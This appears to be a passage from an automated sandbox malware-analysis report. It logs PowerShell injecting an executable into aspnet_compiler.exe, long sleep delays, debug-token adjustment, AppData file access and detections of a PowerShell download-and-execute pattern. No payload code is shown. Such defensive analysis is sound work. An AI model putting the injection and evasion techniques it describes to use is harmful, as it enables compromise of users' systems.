Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4694	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4559	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 2074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 7003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: foregroundWindowGot 651
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: foregroundWindowGot 544

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6984	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 6928	Thread sleep time: -15679732462653109s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates

Source: ModuleAnalysisCache.3.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: aspnet_compiler.exe, 00000016.00000002.1174819940.0000000005300000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: ModuleAnalysisCache.3.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: aspnet_compiler.exe, 00000016.00000002.1174819940.0000000005300000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: aspnet_compiler.exe, 00000016.00000002.1174819940.0000000005300000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: powershell.exe, 00000003.00000003.971167113.000001EA3FF43000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln8A!
Source: ModuleAnalysisCache.3.dr	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: aspnet_compiler.exe, 00000016.00000002.1174819940.0000000005300000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Yara detected Powershell download and execute

Show sources

Source: Yara match

File source: C:\Users\user\Documents\20210803\PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt, type: DROPPED

.NET source code references suspicious native API functions

Show sources

Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqjryTBW16mUfo_ItH9KWoGQu003du003d.cs	Reference to suspicious API methods: ('#=qxG$Aklpbf6gyBfAqTMmORA==', 'OpenProcess@kernel32.dll'), ('#=qh7diH14jww3Fm9rMJ_jIfQ==', 'FindResourceEx@kernel32.dll')
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, L.cs	Reference to suspicious API methods: ('capGetDriverDescriptionA', 'capGetDriverDescriptionA@avicap32.dll')

Injects a PE file into a foreign processes

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 420000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 422000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 772008	Jump to behavior
